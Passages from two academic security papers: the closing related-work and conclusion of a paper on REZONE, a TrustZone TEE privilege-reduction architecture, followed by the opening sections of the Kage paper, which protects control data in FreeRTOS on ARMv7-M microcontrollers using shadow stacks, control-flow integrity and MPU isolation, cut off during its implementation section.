SMMU as PPC, we envision minor changes in the execution
flow while entering (EL3→S.EL1) and exiting (S.EL1→EL3)
a zone. Trampoline’s dynamic access control configuration
code (see §5.3) must explicitly create page tables that enforce
the required access permissions for each zone, instead of con-
figuring permissions through memory-mapped registers. The
trampoline must also invalidate the SMMU TLB to ensure
the configured page tables enter in effect. The ACU must also
prevent the CPU from accessing the SMMU or the page tables
otherwise a zone could undo the established access control
policy and fully compromise the system.

9 Related Work

Several security-oriented hardware architectures provide
underlying primitives for building TEE systems [11, 38,
45], namely CPU extensions [13, 14, 45], separate co-
processors [39, 47], dedicated security chips [26], and secure
virtualization [1, 51]. Recently, academia has been focused
on exploring RISC-V to propose novel TEE hardware archi-
tectures [9, 40]. In our work, we leverage COTS hardware
primitives to provide augmented isolation within the TEE.

As for hardware-enforced TEE systems, Komodo [17] im-
plements a small TEE monitor which provides sealed storage
and remote attestation per the SGX specification. Lightweight
secure world runtimes [27, 54] aim at shielding security-
critical applications from untrusted OSes. TrustICE [55] and
Sanctuary [10] leverage the TZASC to create enclaves within
the normal world. LTZVisor [44] and Voilá [42] have lever-
aged TrustZone hardware to virtualize system resources for a
dual OS system configuration while addressing real-time guar-
antees. REZONE leverages hardware orthogonal to TrustZone
to provide containerization for multiple trusted OSes, while
providing the same availability and real-time guarantees as ex-
isting TrustZone-assisted TEEs. CaSe [58] and SecTEE [59]
allow TAs to run entirely from the cache and on-chip memory,
respectively. Keystone [34] and MultiZone [23] leverage stan-
dard hardware primitives from the RISC-V ISA, i.e. physical
memory protection (PMP), to isolate individual enclaves.

vTZ [28], OSP [12], and PrivateZone [30] leverage the vir-
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tualization extensions available in the normal world (NS.EL2)
to create isolated environments. TEEv [35] and PrOS [32] use
same privilege isolation [16] to secure a minimalist hypervi-
sor from trusted OSes, due to the lack of secure virtualization
support prior to Armv8.4-A. Our solution does not rely on
any hardware virtualization support and thus can be used in
combination with existing hypervisors and legacy systems.

10 Conclusion

With REZONE, we present a new security architecture that
can reduce the privileges of a TrustZone-assisted TEE by
leveraging hardware primitives available in modern hardware
platforms. We have implemented and evaluated REZONE for
the i.MX 8MQuad EVK and the results demonstrated that the
performance of applications such as DRM is not significantly
affected. We have also surveyed 80 CVE reports and estimate
that REZONE could help mitigate 86.84% of them.
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Abstract
This paper presents Kage: a system that protects the control
data of both application and kernel code on microcontroller-
based embedded systems. Kage consists of a Kage-compliant
embedded OS that stores all control data in separate memory
regions from untrusted data, a compiler that transforms code
to protect these memory regions efficiently and to add forward-
edge control-flow integrity checks, and a secure API that al-
lows safe updates to the protected data. We implemented
Kage as an extension to FreeRTOS, an embedded real-time
operating system. We evaluated Kage’s performance using
the CoreMark benchmark. Kage incurred a 5.2% average run-
time overhead and 49.8% code size overhead. Furthermore,
the code size overhead was only 14.2% when compared to
baseline FreeRTOS with the MPU enabled. We also evalu-
ated Kage’s security guarantees by measuring and analyzing
reachable code-reuse gadgets. Compared to FreeRTOS, Kage
reduces the number of reachable gadgets from 2,276 to 27,
and the remaining 27 gadgets cannot be stitched together to
launch a practical attack.

1 Introduction

Embedded systems are becoming increasingly popular and
feature-rich. In addition to traditional embedded systems
such as routers, modems, and security cameras, new Internet
of Things (IoT) devices [14] such as smart sensors, smart-
watches, and smart door locks allow more embedded systems
than ever to connect to the Internet. Today, many embedded
systems use microcontrollers instead of general-purpose pro-
cessors to reduce cost and simplify software design [53].

However, simplicity has a cost: most software for
microcontroller-based embedded systems is developed in C.
Since C is not a memory-safe programming language, these
embedded systems can suffer from exploitable memory safety
errors [31, 47]. Attempts to protect control-flow despite such

∗Part of the work was done when the author was a MS student at Univer-
sity of Rochester.

errors have been stymied by the severe resource constraints
of microcontrollers e.g., memory is often on the order of kilo-
bytes, and the hardware lacks primitives, such as virtual mem-
ory, commonly found in desktop systems. These constraints
make it difficult to isolate security-critical data structures from
untrustworthy code efficiently. For example, RECFISH [51]
uses hardware privilege-levels and context switching to iso-
late shadow stacks from untrusted code at the cost of high
overheads (20-30% increase in execution time). More recent
defenses, such as Silhouette [55] and µRAI [5], propose far
more efficient mechanisms to protect security-critical data,
such as return addresses. However, Silhouette and µRAI target
bare-metal applications and, consequently, their protections
are insufficient for a fully-featured real-time operating system.
According to a recent survey [13], 65% of embedded devel-
opers use an embedded operating system for their current
projects, and within these developers, 42% use an operating
system for real-time capability.

Holistic control-flow protection for real-time OSes must
also address several additional challenges. First, as these mi-
crocontrollers contain no memory management unit [11], all
application tasks and the OS kernel share the same physical
address space; there is no memory isolation between tasks or
between tasks and the OS kernel. Second, in addition to return
addresses and function pointers, several additional data struc-
tures require protection, including the processor state saved
on a context switch and kernel data structures that contain con-
trol data. Third, context switching, interrupts, and exceptions
complicate control-flow and require careful handling.

This paper presents Kage, a software system that protects
the control data of a real-time operating system kernel and the
application tasks from control-flow hijacking attacks.1 Kage
provides a protected shadow stack for each application task
and the kernel, protects saved processor state during context
switch and exception handling, and isolates security-critical
kernel data structures from untrusted code. Kage leverages
and enhances Silhouette [55] to provide efficient intra-address

1“Kage,” pronounced kah-geh, means “shadow" in Japanese.
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space isolation, forward-edge control-flow integrity checks,
and return-address integrity. We built a prototype of Kage and
evaluated its performance and security improvements over a
FreeRTOS-based [6] system.

To summarize, our contributions are:

• We designed Kage which provides efficient and holistic
control-flow hijacking protection for microcontroller-
based embedded systems with a real-time OS. Kage
protects return addresses as well as kernel data structures
containing control data.

• We built a prototype of Kage consisting of a FreeRTOS-
based [6] embedded OS, a compiler based on Silhou-
ette [55], and a binary code scanner.

• We evaluated Kage using a STM32L475 Discovery
board [43], the CoreMark benchmark [8], and mi-
crobenchmarks. Kage incurs a 5.2% mean runtime over-
head on CoreMark. Kage’s kernel components add 7
to 273 CPU cycles, with exception handling adding the
most overhead. Kage incurred a code size overhead of
49.8%. However, that overhead was only 14.2% when
compared to baseline FreeRTOS with the MPU enabled.

• We evaluated the efficacy of Kage’s security improve-
ments over a FreeRTOS-based system. Kage adds several
security guarantees, including return address integrity
(RAI), control-flow integrity (CFI), and protection of
control data during interrupts, context switching, and ex-
ception handling. Our results show that Kage reduced the
number of reachable code-reuse gadgets from 2,276 to
27 for a Kage-compliant binary with CoreMark, and we
explain why those remaining gadgets cannot be stitched
together to perform practical code-reuse attacks.

2 Background

In this section, we describe Kage’s target microcontroller
architecture and introduce the real-time OS on which Kage’s
prototype implementation is based.

2.1 ARMv7-M

While Kage’s design applies to multiple ARM archi-
tectures [9, 12], our current work targets the market-
dominant ARMv7-M architecture [11]. ARMv7-M, which
includes the ARM Cortex-M product family, is designed for
resource-constrained, energy-efficient, and low-cost micro-
controllers [53]. Consequently, ARMv7-M’s design differs
from general-purpose processors such as X86 [34] and the
ARM Cortex-A product family [9, 10].

Processor Modes and Unprivileged Store Instructions
There are two hardware privilege levels in ARMv7-M: privi-
leged mode and unprivileged mode. ARMv7-M supports a spe-
cial set of unprivileged store instructions that always check the
unprivileged access permissions regardless of the processor’s
current execution mode. For example, even if the processor
is currently executing in privileged mode, the unprivileged
store instructions can only write to memory locations that
are writable in unprivileged mode. Attempts to write to a
privileged-only memory location will trigger a memory man-
agement fault. Unprivileged store instructions are available
on several other ARM architectures, e.g., ARMv7-A [9] and
ARMv8-M Main Extension [12].

Memory Protections Unlike desktop systems, ARMv7-M
does not provide a Memory Management Unit (MMU) and
does not support virtual memory. In ARMv7-M, all memory
regions, peripherals, and the processor’s control registers are
in the same address space. To enforce access control policies,
ARMv7-M provides a Memory Protection Unit (MPU) as an
optional feature. The MPU allows developers to define the
start address and length of memory protection regions and
the access permissions of each region. The number of protec-
tion regions varies for different hardware implementations,
e.g., the development board used in this work supports eight
regions [44].

Exception Handling ARMv7-M automatically stores a sub-
set of the current processor state on the stack when executing
an exception handler and automatically restores it on excep-
tion return. The exception handler is responsible for saving
the other registers, if needed. ARMv7-M allows exception
chaining when an exception occurs while another exception
handler is running. If the new exception has higher priority
than the current exception, then the new one will preempt the
current exception; the new exception will otherwise remain
pending until the handler of the current exception returns.

2.2 FreeRTOS
When an embedded system requires real-time performance,
developers often turn to a real-time operating system (RTOS).
While RTOS capabilities vary greatly depending on the target
system, we focus on real-time operating systems designed
for microcontrollers. One such example is Amazon FreeR-
TOS, which combines the popular FreeRTOS kernel [32] with
libraries for connecting to Amazon’s web services [6]. FreeR-
TOS can run on systems with just kilobytes of memory while
still providing powerful features such as real-time scheduling,
software timers, and shared queues.

FreeRTOS’s fundamental abstractions differ significantly
from those found in desktop operating systems. For example,
application code is divided into a set of tasks that are roughly
equivalent to a thread in a desktop process. For each task,
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FreeRTOS maintains a task control block to store important
data of the task such as the stack pointer and MPU configu-
ration. The FreeRTOS scheduler switches between tasks to
meet pre-defined timing constraints. Specifically, the sched-
uler ensures that the processor will always be executing the
highest priority task that is ready to execute in the system.

3 Design

Kage protects application and real-time OS kernel code from
control-flow hijacking attacks using a Kage-complaint real-
time OS, a Kage compiler, and a binary code scanner. We now
describe the threat model that Kage addresses, the guarantees
it provides to address these threats, and how the aforemen-
tioned Kage components provide these security guarantees.

3.1 Threat Model and System Assumptions
We target ARMv7-M-based single-core microcontrollers with
an MPU supporting at least seven regions. As ARMv7-M
microcontrollers do not support virtual memory [11], all tasks
execute within the same address space as the kernel. Further,
to improve performance and reduce programming complexity,
the tasks and the kernel execute at the same privilege level
by default. A consequence of these design decisions is that a
memory error in a task (or library) can lead to the system’s
complete compromise.

We assume the presence of a powerful adversary that at-
tempts to hijack the control flow of the system. The attacker
has access to a memory error in untrusted code that she can
use to manipulate any control data stored in memory, in-
cluding return addresses of both tasks and the kernel, indi-
rect branches, function pointers, and processor state saved
on context switches and during exception handling. The un-
trusted code includes all application tasks, libraries accessible
by those tasks, and part of the kernel. An exception is the
standard C library and the compiler runtime library such as
libgcc [2] or compiler-rt [1]. We assume these libraries have
no memory safety errors, but we also assume that attackers
may exploit memory safety errors in untrusted code to hijack
the control flow to these libraries so as to use their regular
store instructions to corrupt privileged memory. We explain
how to mitigate this situation in Section 3.4. In summary,
our threat model focuses on code-injection and code-reuse
attacks. Other attacks, such as non-control data attacks [20],
are out of scope.

3.2 Security Guarantees
To mitigate the threats described in Section 3.1, Kage provides
the following guarantees:

Guarantee 1. Return Address Integrity (RAI): Return instruc-
tions will always branch to the legal return address saved by
the function prologue.

Guarantee 2. Control-Flow Integrity (CFI): Indirect function
calls will always branch to the beginning of a function.

Guarantee 1 comes from Kage’s use of per-task shadow
stacks for storing return addresses. Guarantee 2 is provided
by CFI instrumentation inserted at compile time. We discuss
these topics further as part of our discussion of the Kage
compiler in Section 3.5.

However, Guarantees 1 and 2 alone are insufficient for
mitigating control-flow hijacking attacks. As application code
runs in the hardware’s privileged mode, it can corrupt control
data, stack pointers, and other security-critical data maintained
by the OS kernel. Kage, therefore, provides the following
additional guarantees:

Guarantee 3. On a context switch, the task’s saved processor
state will always be the same as it was when the task was
taken off of the CPU. When a task first begins execution, its
initial processor state, including the task’s initial program
counter, stack pointer, and control register, will always be
the initial values defined in task initialization. This guarantees
that each task begins execution from its main entry point.

Guarantee 4. The processor state saved on interrupts and ex-
ceptions is never corrupted. When returning from an interrupt
or exception, the processor state loaded onto the processor
matches the processor’s state prior to the interrupt or excep-
tion.

Guarantee 5. The location and the content of the processor’s
interrupt vector table cannot be modified by untrusted code.

These guarantees severely limit the extent to which an
attacker can manipulate the control flow of the system. To
ensure that the processor executes the correct instructions,
Kage provides one more guarantee:

Guarantee 6. Memory that is writable by untrusted code
cannot be executable, and vice versa.

The foundation of these guarantees is Kage’s use of priv-
ileged memory regions isolated from untrusted code. For
example, Kage’s context switching and exception handling
mechanisms use these privileged regions to store processor
state, thereby providing Guarantees 3 and 4. Further, by defin-
ing the location of the interrupt vector table as privileged,
Kage ensures Guarantee 5. Finally, as untrusted code can only
write to unprivileged regions, Kage configures such regions
as non-executable, i.e., Guarantee 6.

3.3 Kage Overview
Kage consists of three components:

• A real-time OS for microcontrollers that provides a
protected shadow stack for the kernel and each task and
protects security-critical data from corruption by mem-
ory errors, including processor state saved on a context
switch and scheduler and task management data;
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• A compiler system that provides efficient intra-address
space isolation by transforming all store instructions in
untrusted code to ARMv7-M’s unprivileged store instruc-
tions, saves return addresses to a protected shadow stack,
and adds forward-edge control-flow integrity checks;

• A binary code scanner that checks whether the binary
file generated by the compiler contains any code se-
quence that may bypass Kage’s security guarantees.

3.4 Kage-Compliant Embedded OS

At the core of Kage is an embedded real-time OS. Our de-
sign assumes the same task model as FreeRTOS [32], with
task data, including task stack pointers, stored in the task con-
trol block. Kage divides the code into trusted and untrusted
components and the memory into privileged and unprivileged
regions. All control data, except function pointers used by
untrusted code, are stored in privileged memory. Only trusted
components can directly write to privileged memory regions
with the exception that function prologues of untrusted com-
ponents can store return addresses to a privileged region.

Figure 1 illustrates the different components that comprise
the Kage architecture. All of the tasks and most kernel com-
ponents are untrusted. The trusted components are limited to
those that must access privileged memory regions.

To mitigate cases wherein control flow is maliciously redi-
rected from untrusted code to the standard C library or the
compiler runtime library, Kage supplies two separately com-
piled versions of each of these libraries. The Kage compiler
transforms one copy for safe use by untrusted code, and the
other is left unmodified for use by the trusted kernel. Trans-
formed library functions cannot write to privileged memory
regions and therefore cannot overwrite control data.

3.4.1 Privileged and Unprivileged Memory

Figure 2 illustrates Kage’s unprivileged and privileged mem-
ory regions. Untrusted code can only write to the former,
while trusted code can write to both types. These access re-
strictions are implemented, in part, using the store hardening

transformation (described in Section 3.5.2) and enforced by
the MPU at runtime. Any attempts to write to privileged
memory from untrusted code will trigger a fault. While Kage
could also restrict loads, load restrictions are not necessary
for preventing control-flow hijacking attacks.

Kage’s unprivileged memory regions include the unprivi-
leged initialized global data, unprivileged uninitialized global
data, unprivileged kernel stack, task stacks, and unprivileged
heap regions. The privileged memory regions include all
shadow stacks, all control data (except for function pointers
in untrusted code), and other security-critical data structures,
such as task control blocks and scheduler data structures.

Kage uses separate heaps for trusted and untrusted code. All
untrusted code uses the same heap to improve memory utiliza-
tion. However, Kage could be adapted to use multiple unprivi-
leged heap regions. Kage provides separate dynamic memory
allocation and deallocation functions for trusted and untrusted
components. The trusted allocation function allocates mem-
ory from the privileged heap region, while untrusted code
uses the untrusted allocation function to manage memory in
the unprivileged heap.

Notably, while all task stacks reside in unprivileged mem-
ory, Kage restricts untrusted code to writing only to the stack
of the current task. This restriction is necessary to protect
control data during context switching (see Section 3.4.3), pro-
viding the basis for ensuring Guarantee 3. To detect stack
overflows (and underflows), privileged regions surround each
task stack.

The System region is also privileged because it contains
memory-mapped system registers that must not be accessible
to an attacker. For example, a write to this region could be
used to change the address of the interrupt vector table [11];
by configuring the System region as privileged, Kage ensures
part of Guarantee 5. The Peripheral and Device regions are
also privileged.

Finally, the Read-Only Data region, which contains the
interrupt vector table, is set to read-only, providing the other
part of Guarantee 5. To enforce Guarantee 6, the Trusted and
Untrusted Code regions are set to read-only as well and are
the only executable regions.

3.4.2 Secure API

The trusted kernel provides a secure API for use by the un-
trusted kernel components and tasks. The secure API allows
the untrusted code to perform task management, execute
scheduler-related operations, and access the HAL. These oper-
ations often require access to privileged memory. The secure
API allows unprivileged code to perform these operations
without violating Kage’s security guarantees.

The secure API functions fall into three broad categories:
functions designed for all untrusted code (such as delaying
a task, deleting a task, and resuming a task), functions that
should only be used by the untrusted kernel (such as raising a
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task’s execution priority, delaying a task to wait for an event,
and resuming a task after the event), and functions used by
untrusted exception handlers (such as resuming a task from
delay after exception returns).

The secure API adheres to the following design principles.
First, the secure API should not overwrite control data, un-
less such control data is not used anymore (e.g., deleting a
task). This helps enforce Guarantees 1, 3, and 4. Second, the
secure API should not disable or overwrite hardware configu-
rations that Kage uses for protections, such as disabling the
MPU, changing Kage’s memory access permissions, chang-
ing exception priorities, or overwriting the interrupt vector
table. Memory protections are critical for enforcing all of
Kage’s guarantees, controlling exception priorities helps en-
force Guarantee 4 as Section 3.4.4 explains, and protecting
the integrity of the interrupt vector table is critical to enforc-
ing Guarantee 5. Third, secure API functions must write new
control data (e.g., when creating a new task) to a privileged
memory region, such as a shadow stack or the task control
block for enforcing Guarantees 1, 3, and 4. These design prin-
ciples can be applied to any real-time OS kernel. Appendix A
describes how we applied them to AWS FreeRTOS [6] in
detail.

Kage includes additional runtime checks to vet arguments
that could be controlled by attackers. First, the secure API
checks all pointer arguments. For pointers to task control
blocks, the API checks the pointer against a table of pointers
to valid task control blocks. For other pointers, the API veri-
fies that they point to an unprivileged memory region. These
checks prevent attackers from tricking the secure API code
from overwriting control data in privileged regions (which
could violate Guarantees 1, 3, and 4) or from overwriting
memory-mapped system registers (which could disable the
MPU protections needed for enforcing all of Kage’s guar-
antees). Second, the API includes functionality that allows
untrusted code to provide a new MPU configuration, but it
checks if the new configuration violates Kage’s base MPU
policy. Third, the API ensures that only the system initial-
ization sequence (run at system startup) can call the task
creation API function. This check is necessary to prevent an
attacker from creating a new task with a stack that overlaps
with the shadow stack of another task (which could violate
Guarantee 1). Fourth, the API functions for untrusted excep-
tion handlers require that the exception handler temporarily

raises the execution priority before calling the secure API
function such that other untrusted exception handlers cannot
preempt the execution. These API functions check the current
priority level. If a check fails, Kage executes a code sequence
defined by the developer. In our prototype, this code executes
an infinite loop. This enforces Guarantee 4 by ensuring the
integrity of interrupted program state saved on interrupts and
exceptions.

Kage’s design is amenable to real-time requirements. Aside
from checks on task control blocks, all secure API runtime
checks have constant-time performance. Task control block
checks are linear time relative to the number of created tasks.
As Kage only permits task creation during system initial-
ization, the maximum number of tasks running on a device
can be made finite and known at device install time. Conse-
quently, developers can pre-determine the worst-case over-
head of task control block checks. The secure API functions
for untrusted exception handlers require raising the exception
priority, which may cause delays for other untrusted excep-
tion handlers to enter. Therefore, real-time systems that in-
clude hard deadlines for exception handling need to measure
the runtime of these secure API functions and consider the
worst-case additional overhead. In situations where exception
handlers with a hard deadline are rare and short, developers
could also verify that the handlers are bug-free and place them
into the trusted computing base.

Finally, untrusted code is only allowed to use direct func-
tion calls to access the secure API. Kage does not assign
CFI labels to secure API functions; therefore, untrusted code
cannot use indirect branches to execute secure API functions.
Section 3.5 explains Kage’s forward-edge CFI checks.

3.4.3 Context Switching

The kernel needs to store the processor state to memory when
context switching between tasks or when an exception oc-
curs [15]. As this state contains control-flow data, Kage must
protect the saved state to ensure Guarantee 3. The protected
state must also include the task’s stack pointer to prevent
untrusted code from violating Guarantee 1. Further, as the
Secure API places its frames on the stack of the calling task,
Kage must also prevent manipulation of this frame data. As
described below, Kage provides these protections through a
combination of privileged memory regions, MPU configura-
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tions, and a purpose-built PendSV handler.
Kage stores the processor state in the current task’s shadow

stack during context switching and exception handling. The
shadow stack is a privileged memory region, so it cannot be
modified by untrusted code (as described previously). The
processor state includes all general-purpose registers, the LR
link register, the program status register, the CONTROL regis-
ter, the stack pointer, and all floating-point registers (if the
processor supports floating-point operations). In addition, for
exceptions, Kage also protects exception return addresses.

ARMv7-M provides the PendSV interrupt to switch con-
texts efficiently [11], and Kage includes a handler for this
interrupt. For performance reasons, the processor automati-
cally saves a subset of the processor state to memory before
Kage’s handler executes. In some cases, this behavior leads
to processor state being saved to unprivileged memory (such
as a task’s stack). Consequently, Kage’s PendSV handler first
copies the registers automatically saved by the processor from
the task’s stack to the task’s shadow stack. The handler then
stores the rest of the processor state to the task’s shadow stack
and transfers control to the kernel’s scheduler component.

The scheduler component then checks if the previous task
overflowed its stack prior to the context switch. This check
may seem unnecessary given that the untrusted task code
will trigger a hardware fault if it attempts to write to the
privileged memory adjacent to its stack (as described pre-
viously in Section 3.4.1). However, a subtle race condition
may still allow for an overflow to occur. In particular, if the
context switch occurs after the stack pointer is decremented
past the end of the task stack but before any unprivileged
store instructions that would trigger the fault, ARMv7-M’s
automatic register spilling mechanism could write into the ad-
jacent privileged region—i.e., where the task’s shadow stack
is placed—bypassing Guarantee 1.

After the scheduler component transfers control back to the
handler, Kage restores the saved processor state for the next
task from the appropriate shadow stack. Note that for the sub-
set of state stored automatically by the processor, Kage trans-
fers that state back to the appropriate task stack for restoration
by the processor.

Kage’s PendSV handler also reconfigures the MPU to allow
unprivileged write access to the stack region of the next task
and disallow access to the stack region of the previous task.
By disallowing unprivileged write access to the stack region
of other tasks, Kage ensures that a task cannot interfere with
another task’s stack data. As a task stack may include frames
from the Secure API, this MPU configuration prevents un-
trusted code from manipulating the local variables used by
the runtime checks of the Secure API.

Kage prevents untrusted code from executing in the mid-
dle of a context switch, ensuring the processor state restored
to the task stack cannot be corrupted before the handler re-
turns. It does so as follows. First, Kage prevents untrusted
exception handlers from preempting the PendSV handler’s ex-

ecution (see Section 3.4.4). Second, while a subset of trusted
exception handlers can preempt Kage’s PendSV handler, those
trusted exceptions do not transfer control to untrusted code.

As Kage copies, saves, and restores a fixed number of regis-
ters on exception dispatch and context switch, and because the
stack overflow check is constant time, Kage’s protections for
saved processor state incur constant overhead and are there-
fore amenable to real-time system design.

3.4.4 Exception Handling

Kage divides exception handlers into two types. Trusted ex-
ception handlers are part of the trusted kernel and can access
privileged memory. The trusted handlers in our prototype in-
clude the system timer SysTick handler, the context switch-
ing PendSV handler, the system call SVC handler, the memory
protection fault MemManage handler, the memory bus fault
BusFault handler, and the unrecoverable fault HardFault
handler. Handlers in the HAL library are trusted as well.
Further, if a system contains other trap handlers (i.e., excep-
tion handlers that cannot be blocked), these handlers must be
trusted. All other handlers are untrusted and, consequently,
can only write to unprivileged memory.

Exceptions are particularly challenging to handle securely
because an untrusted exception handler may interrupt trusted
code. For example, consider when a task calls the secure API
to execute functions in the trusted kernel. The secure API
(and any trusted kernel function it calls) uses the unprivileged
task stack to store local variables. Under normal control flow,
this is not an issue. However, if an exception whose handler
is untrusted occurs, the untrusted handler could corrupt the
secure API’s stack frames on the task stack.

To resolve the above issue, Kage adds a trusted dispatcher
function to each untrusted exception handler. When an ex-
ception whose handler is untrusted occurs, the appropriate
dispatcher executes first. The dispatcher function saves all
processor state to the shadow stack and configures the MPU
such that the entire task stack and task shadow stack regions
are read-only (for both trusted and untrusted code). Only then
does the dispatcher transfer control to the untrusted exception
handler. After the untrusted handler returns, the dispatcher
restores the processor state and restores the MPU configura-
tion. Saving the processor state to and restoring it from the
protected shadow stack enforces Guarantee 4. Similar to con-
text switching, the exception dispatcher prevents untrusted
exception handlers from voiding the runtime checks of the
Secure API.

Exception nesting further complicates the dispatcher’s be-
havior. First, the MPU configuration is only restored after all
untrusted exceptions have been handled. Second, when saving
and restoring the processor state, the dispatcher temporarily
sets its priority to the maximum configurable priority, pre-
venting other untrusted exception handlers from preempting
it. ARMv7-M requires three instructions to raise the priority.
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To prevent another untrusted exception from occurring during
the small window of three instructions, the dispatcher first
uses a single instruction (CPS) to disable all exceptions until
it finishes raising its priority. Raising the exception priority
prevents untrusted code from another untrusted exception han-
dler from overwriting the processor state before the dispatcher
saves them or after the dispatcher restores them, breaking
Guarantee 4. Third, all untrusted exception handlers are as-
signed a lower priority than any of the trusted handlers. This
restriction improves performance by removing the need for
trusted handlers to spill the processor state onto the shadow
stack. Finally, when an untrusted exception handler calls the
secure API, the untrusted handler must first temporarily raise
its priority to prevent preemption by other untrusted handlers.
The secure API functions check that the exception priority is
raised. These two restrictions ensure that untrusted code from
an untrusted exception handler cannot corrupt trusted code’s
stack data and use the trusted code to bypass the security
guarantees (e.g. making unprivileged memory executable).

Kage’s exception handling mechanism also checks for po-
tential stack overflows. The reason for this check is a subtle
race condition wherein another exception handler could pre-
empt the current handler after the stack pointer is decremented
past the end of the kernel stack but before the next store in-
struction triggers a hardware fault. In such situations, ARMv7-
M’s automatic register spilling mechanism on exception entry
could overwrite privileged memory. We described an analo-
gous race condition and overflow check in Section 3.4.3

Similar to context switching, Kage’s exception dispatcher
incurs predictable constant-time overhead and is consequently
amenable to real-time system design.

3.5 Kage Compiler

Kage leverages and enhances Silhouette [55], an LLVM-based
compiler, to efficiently isolate the untrusted components and
enforce return address integrity and control-flow integrity on
the untrusted code. In particular, Kage stores return addresses
in a shadow stack (Section 3.5.1). By combing the store hard-
ening transformation (Section 3.5.2), the CFI instrumentation
(Section 3.5.3), and the corresponding memory region config-
uration (Section 3.4.1), Kage guarantees that a return address
will always be saved to, protected in, and retrieved correctly
from the shadow stack, and therefore providing return address
integrity (Guarantee 1). Kage also uses the CFI transformation
to guarantee that an indirect function call will always branch
to the beginning of a function (Guarantee 2). We describe
these transformations below, but we refer the reader to Sec-
tion 7.1 of the Silhouette paper [55] for greater detail on how
these transformations enforce control-flow and return-address
integrity.

3.5.1 Shadow Stack Transformation

Kage uses Silhouette’s shadow stack transformation to trans-
form the prologue and epilogue of each untrusted function.
When entering a function, the return address is saved onto a
protected shadow stack. When returning from the function,
the system uses the return address from the shadow stack
instead of the regular stack. The shadow stacks reside in
privileged memory, and the shadow stack instrumentation is
considered trusted code. Each task, and the untrusted kernel,
use separate shadow stacks.

3.5.2 Store Hardening Transformation

Kage uses Silhouette’s store hardening pass to transform all
store instructions in untrusted code into ARMv7-M’s unprivi-
leged store instructions. When combined with the appropriate
MPU configuration (see Section 4.3.2), this transformation
provides intra-address space isolation, preventing untrusted
code from modifying privileged memory. Importantly, store
hardening allows Kage to access the shadow stack in every
function prologue without the costly hardware privilege mode
changes of previous work [51].

3.5.3 CFI Instrumentation

We use CFI [3] instrumentation to protect against forward-
edge control-flow hijacking. Specifically, for indirect function
calls, Kage inserts CFI labels at the beginning of the legal
target functions and inserts instrumentation at all indirect call
sites to verify that the target has the correct label at runtime.

Not all functions receive labels in Kage. CFI labels are only
assigned to functions in untrusted code that are address-taken
or visible to other compilation units. This makes it impossible
for untrusted code to, for example, jump into trusted code via
an indirect function call.

Globally-Unique Label Generation. Label-based CFI re-
quires that the byte sequence used for CFI labels not appear
anywhere else within executable memory i.e., that they be
globally unique [3]. The Silhouette compiler does not enforce
this requirement. Kage addresses this limitation, in part, with
a novel scheme for label generation.

Kage’s global uniqueness guarantee consists of two parts.
First, as instructions on ARMv7-M are either one or two
half-words long and aligned at half-word boundaries [11], the
encoding of a CFI label must not alias any part of instructions
that the compiler may generate. Kage avoids this situation
by picking a CFI label consisting of two distinct half-words
that are undefined instruction encodings on ARMv7-M. Sec-
ond, the compiler may embed constant data into code that
is identical to a CFI label by coincidence. Kage therefore
disallows data embedding within the trusted and untrusted
code segments.
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3.6 Code Scanner
To ensure that the compiled binary code does not violate
Kage’s security guarantees, Kage includes a static binary
code scanner. If the code scanner finds a violation, it alerts
the developer.

Kage’s code scanner forbids untrusted code from using the
privileged CPS and MSR instructions [11] as these instructions
could change the value of important registers (such as the
CONTROL register and stack pointers) and undermine Guaran-
tees 1 and 4. However, MSR instructions that change the APSR
or BASEPRI register are allowed in untrusted code; changing
APSR only affects the execution of conditional instructions,
and changing BASEPRI only disables or enables untrusted ex-
ceptions, neither of which impacts Kage’s security guarantees.
The trusted kernel needs CPS and MSR instructions, so the code
scanner allows the trusted kernel to contain these instructions
with any operand.

The code scanner also verifies that the only trusted func-
tions that untrusted code calls are secure API functions. In-
ternal trusted kernel functions should not be available to un-
trusted code. Since Kage does not add CFI labels to the trusted
kernel functions, the code scanner only needs to ensure that
no direct function calls from untrusted code to internal trusted
functions exist.

4 Implementation

In this section, we describe our modifications to the Silhouette
compiler system [55] and the implementation of our Kage-
compliant RTOS and the binary code scanner. The Kage
RTOS extends Amazon FreeRTOS v1.4.9 [6]. We target the
STM32L475 Discovery board [43] because it has an MPU
and is officially supported by Amazon FreeRTOS.

4.1 Compiler Implementation
We modified 379 lines of code to adapt the LLVM-based Sil-
houette compiler,2 a major part of which improves CFI. To
ensure that CFI labels are not embedded within other instruc-
tions, we picked 0xf870f871 as our CFI label; both 0xf870
and 0xf871 encode an undefined instruction on ARMv7-
M [11]. Kage’s CFI checks will jump over the CFI labels
when performing the indirect branch as the CFI labels are
now undefined instructions.

We set the size of each task’s stack and the kernel stack to
be 4 KB, allowing multiple stacks to fit in the limited 128 KB
of RAM on the discovery board. This stack size also allows
for more efficient shadow stack instrumentation. In particular,
ARMv7-M’s store immediate and load immediate instructions
support an immediate offset up to 4 KB [11]. With the stack
size (and thereby the shadow stack offset) limited to 4 KB,

2We measured the line count of modifications to the Silhouette compiler
using git diff.

the shadow stack transformation does not need to encode the
shadow stack offset into a free register before accessing the
shadow stack. As a result, Kage only needs one instruction in
the function prologue to write to the shadow stack.

FreeRTOS provides an optional privileged_functions
section in the code region to store privileged kernel functions.
Kage uses this section to store all trusted kernel functions. A
special compiler flag can be used to tell the Kage compiler
that all functions within a C source file should be placed
in the privileged_functions section. When the compiler
compiles a function in this section, it skips the store hardening,
shadow stack, and CFI transformations.

4.2 Code Scanner Implementation
We implemented Kage’s code scanner as a Python script uti-
lizing Python’s elftools library. The code scanner scans the
untrusted code for encodings of instructions that could poten-
tially undermine Kage’s security guarantees as Section 3.6
describes. Our code scanner contains 148 lines of code.3

4.3 RTOS Implementation
Our OS prototype adds 2,136 lines of code to AWS FreeR-
TOS. Like default FreeRTOS, our Kage implementation runs
both tasks and the kernel in ARMv7-M’s privileged execution
mode. Unlike FreeRTOS, Kage enables the MPU and lever-
ages compiler transformations, runtime instrumentation, and
the kernel modifications described below to enforce control-
flow and return-address integrity. We implemented the secure
API following our design. Appendix A explains the secure
API implementation in detail.

4.3.1 Trusted and Untrusted Components

In our Kage prototype, the trusted kernel components are
the scheduler, the task management module, the kernel list
module, the trusted dynamic allocation and deallocation mod-
ule, and the device-specific support module (including excep-
tion handlers for PendSV, SVC, MemManage, and HardFault),
and the HAL library [46] (including the exception handler
for SysTick and the default code for unimplemented excep-
tion handlers). All other kernel components and all tasks are
untrusted. The untrusted kernel components include the un-
trusted list module, the untrusted allocation module, the queue,
the stream buffer, event groups, and the timer modules.

Both trusted and untrusted kernel components need to use
the kernel list module to access ready and pending lists of
